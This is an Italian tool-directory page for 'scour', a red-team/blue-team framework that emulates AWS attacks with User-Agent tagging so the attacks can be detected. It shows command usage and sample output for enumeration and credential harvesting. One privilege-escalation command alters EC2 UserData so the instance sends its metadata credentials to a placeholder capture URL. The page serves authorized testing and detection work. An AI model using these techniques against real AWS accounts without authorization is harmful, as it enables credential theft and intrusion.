Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
scour — Framework di sfruttamento AWS basato su moduli per test del red team e analisi del blue team. Emula schemi di attacco nel piano di controllo AWS con tracciamento UA unico per lo sviluppo di rilevamenti. | Kitploit
Strumenti/GitHubGitHub/grines/scour
Escalation di PrivilegiExploitMovimento LateralePost-ExploitPenetration TestingSicurezza CloudRed Teaming
GitHubgrines/scour

scour

Framework di sfruttamento AWS basato su moduli per test del red team e analisi del blue team. Emula schemi di attacco nel piano di controllo AWS con tracciamento UA unico per lo sviluppo di rilevamenti.

Vedi Repository
127172 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Scour - Framework di Rilevamento AWS

Questo strumento viene utilizzato per emulare modelli di attacco all'interno del Controlplane AWS. Ogni attacco è etichettato con uno specifico UA per consentire al blue team di identificarlo.

Stato

  • Questo è ancora un lavoro in corso. **Molti bug

  • Non pronto per la produzione

  • Dove segnalare problemi: https://github.com/grines/scour/issues

  • Mantenuto da: grines

Cos'è Scour?

Scour è un moderno framework di sfruttamento AWS basato su moduli scritto in golang, progettato per test del red team e analisi del blue team. Scour contiene tecniche moderne che possono essere utilizzate per attaccare ambienti o creare rilevamenti per la difesa.

Funzionalità

  • Completamento comandi
  • Elenco dinamico delle risorse
  • Cronologia comandi
  • Modalità blue team (etichetta gli attacchi con uno User Agent univoco)

Installazione

Scour è scritto in golang, quindi è facile da distribuire come binario.

##Gettable

go get github.com/grines/scour

##Build

go build main.go

Per un set di istruzioni utente più dettagliato e user-friendly, consulta la guida all'installazione del Wiki. **in arrivo presto

Moduli di Scour

Scour utilizza una serie di moduli:

  • Operazioni (2)
  • Enumerazione (7)
  • Escalation dei Privilegi (3)
  • Movimento Laterale (2)
  • Evasione (5)
  • Scoperta delle Credenziali (4)
  • Esecuzione (2)
  • Persistenza (7)
  • Esfiltrazione (1)

Note

  • Scour è supportato su tutti i sistemi Linux/OSX.
  • Scour è software open-source e distribuito con licenza BSD-3-Clause.

Per Iniziare

La prima volta che Scour viene avviato,

Comandi di Base in Scour

  • token profile <profile_name> <region> elenca i profili AWS disponibili salvati in ~/aws/credentials.
  • token AssumeRole <role_name> <region> assume un ruolo dallo stesso account o da un account cross. ** richiede una sessione attiva
  • help module restituisce le informazioni di aiuto applicabili per il modulo specificato. **help da definire
  • attack evasion <tactic> esegue il modulo specificato con i suoi parametri predefiniti.

Eseguire Scour dalla riga di comando

  • scour entra in modalità cli
  • Not Connected <> token profile apiuser us-east-1 imposta la sessione da utilizzare per i comandi che ne richiedono una
  • Connected <apiuser/us-east-1> connesso attivamente a un profilo AWS da (~, /aws/credentials) in (region)
  • Connected <apiuser/us-east-1> attack enum <attack> completamento tramite tab con l'elenco delle tattiche di enumerazione disponibili
  • Connected <apiuser/us-east-1> attack privesc <attack> completamento tramite tab con l'elenco delle tattiche di escalation dei privilegi disponibili
  • Connected <apiuser/us-east-1> attack lateral <attack> completamento tramite tab con l'elenco delle tattiche di movimento laterale disponibili
  • Connected <apiuser/us-east-1> attack evasion <attack> completamento tramite tab con l'elenco delle tattiche di evasione disponibili
  • Connected <apiuser/us-east-1> attack creds <attack> completamento tramite tab con l'elenco delle tattiche di scoperta delle credenziali disponibili
  • Connected <apiuser/us-east-1> attack execute <attack> completamento tramite tab con l'elenco delle tattiche di esecuzione disponibili

Enumerazione

  • Connected <apiuser/us-east-1> attack enum IAM Scoperta IAM
root@kitploit:~
+-------------+---------------------+------------------+---------------+--------------+
|    USER     |  MANAGED POLICIES   | INLINE POLICIES  |    GROUPS     | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin       | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true         |
| EC2         | AmazonEC2FullAccess |                  |               | true         |
+-------------+---------------------+------------------+---------------+--------------+
  • Connected <apiuser/us-east-1> attack enum Roles Scoperta ruoli
root@kitploit:~
UA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
|                            ROLE                            | PRINCIPAL TYPE |                  IDENTITY/SERVICE                   | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m                                | AWS            | [arn:aws:iam::861******:root                     | true         |
|                                                            |                | codebuild.amazonaws.com]                            |              |
| Amazon_CodeBuild_f2DOFPjMHK                                | Service        | [codebuild.amazonaws.com]                           | true         |
| Amazon_CodeBuild_HS59ko7lxn                                | Service        | [codebuild.amazonaws.com]                           | true         |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
  • Connected <apiuser/us-east-1> attack enum EC2 Scoperta EC2
root@kitploit:~
UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
|     INSTANCEID      |                  INSTANCE PROFILE                   |     VPC      | PUBLICIP |   PRIVATEIP   |   SECURITY GROUPS    | PORTS  |  STATE  | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None                                                | vpc-7e830c1a | None     | 172.31.53.199 | sg-09fcd28717cf4f512 | 80*    | stopped | false        | true     |
|                     |                                                     |              |          |               |                      | 22*    |         |              |          |
|                     |                                                     |              |          |               |                      | 5000*  |         |              |          |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.45.96  | sg-61b1fd07          | All*   | stopped | true         | true     |
|                     |                                                     |              |          |               |                      | 8888*  |         |              |          |
| i-01b265a5fdc45df57 | None                                                | vpc-7e830c1a | None     | 172.31.38.118 | sg-0392f752f9b849d3f | 3389*  | stopped | false        | true     |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.39.199 | sg-006543a34d2f70028 | 22*    | stopped | true         | true     |
| i-0d95790b5e7ddff23 | None                                                | vpc-7e830c1a | None     | 172.31.12.57  | sg-e1a50dac          | 33391* | stopped | false        | true     |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
  • Connected <apiuser/us-east-1> attack enum S3 Scoperta S3
root@kitploit:~
UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
|                  BUCKET                   | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION |  REGION   |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a               | false     | false     | false        |             | false               |             | false       | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true      | false     | false        |             | false               |             | false       |           |
| bullsecu*********                         | true      | true      | false        |             | false               |             | false       |           |
| connect-6ec*****ad67                      | false     | false     | false        |             | false               |             | false       |           |
| connect-******5337c3                      | false     | false     | false        |             | false               |             | false       |           |
| ransom********                            | true      | false     | false        |             | false               |             | false       |           |
| red********                               | false     | false     | false        |             | false               |             | false       |           |
| rep-*****                                 | false     | false     | false        |             | false               |             | false       | us-west-2 |
| terraform*******                          | false     | false     | false        |             | false               |             | false       |           |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
  • Connected <apiuser/us-east-1> attack enum Groups Scoperta gruppi
root@kitploit:~
UA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
|                     GROUP                     |      POLICIES       | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2                                           | SecurityAudit       | false        |                 | false        |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 |                     | false        |                 | false        |
| TestGroup                                     | AmazonEC2FullAccess | true         |                 | false        |
|                                               | SecurityAudit       |              |                 |              |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
  • Connected <apiuser/us-east-1> attack enum Network Scoperta rete
root@kitploit:~
TBD

Escalation dei Privilegi

  • Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data ruba le credenziali di metadati da EC2. Ferma l'istanza / Aggiorna i dati utente per pubblicare le credenziali all'URL fornito / Avvia l'istanza (invia il token EC2 all'URL.)
root@kitploit:~
[Sun May  9 06:10:16 2021]  INF  Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May  9 06:10:46 2021]  INF  Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May  9 06:10:47 2021]  INF  Starting Instance i-0f5604708c0b51429 - State: pending

Scoperta delle Credenziali

  • Connected <apiuser/us-east-1> attack creds UserData recupera le credenziali dai dati utente EC2
root@kitploit:~
UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
|     INSTANCEID      |       RULE       |                                    FINDING                                    |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook    | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword                                                      |
+---------------------+------------------+-------------------------------------------------------------------------------+
  • Connected <apiuser/us-east-1> attack creds SSM recupera le credenziali da Systems Manager
root@kitploit:~
UA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE |        VALUE         |
+------------+----------+----------------------+
| Test       | text     | thismightbeapassword |
+------------+----------+----------------------+
  • Connected <apiuser/us-east-1> attack creds ECS recupera le credenziali da ECS
root@kitploit:~
UA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret      | heere | sample-app |
+-------------+-------+------------+

Dichiarazioni di non responsabilità e Politica di Utilizzo Accettabile di AWS

  • Per quanto ne sappiamo, le capacità di Scour sono conformi alla Politica di Utilizzo Accettabile di AWS, ma essendo uno strumento flessibile e modulare, non possiamo garantire che ciò sia vero in ogni situazione. È interamente tua responsabilità assicurarti che il modo in cui usi Scour sia conforme alla Politica di Utilizzo Accettabile di AWS.
  • A seconda dei servizi AWS che utilizzi e di ciò che hai intenzione di testare, potrebbe essere necessario richiedere l'autorizzazione ad Amazon prima di eseguire effettivamente Scour contro la tua infrastruttura. Determinare se tale autorizzazione sia necessaria è tua responsabilità.
  • Come per qualsiasi strumento di penetration testing, è tua responsabilità ottenere la dovuta autorizzazione prima di utilizzare Scour al di fuori del tuo ambiente.
  • Scour è un software che non offre assolutamente alcuna garanzia. Usando Scour, ti assumi la piena responsabilità di qualsiasi risultato che ne deriva.
Scarica lo strumento
  • Connected <apiuser/us-east-1> attack persist <attack> completamento tramite tab con l'elenco delle tattiche di persistenza disponibili
  • Connected <apiuser/us-east-1> attack exfil <attack> completamento tramite tab con l'elenco delle tattiche di esfiltrazione disponibili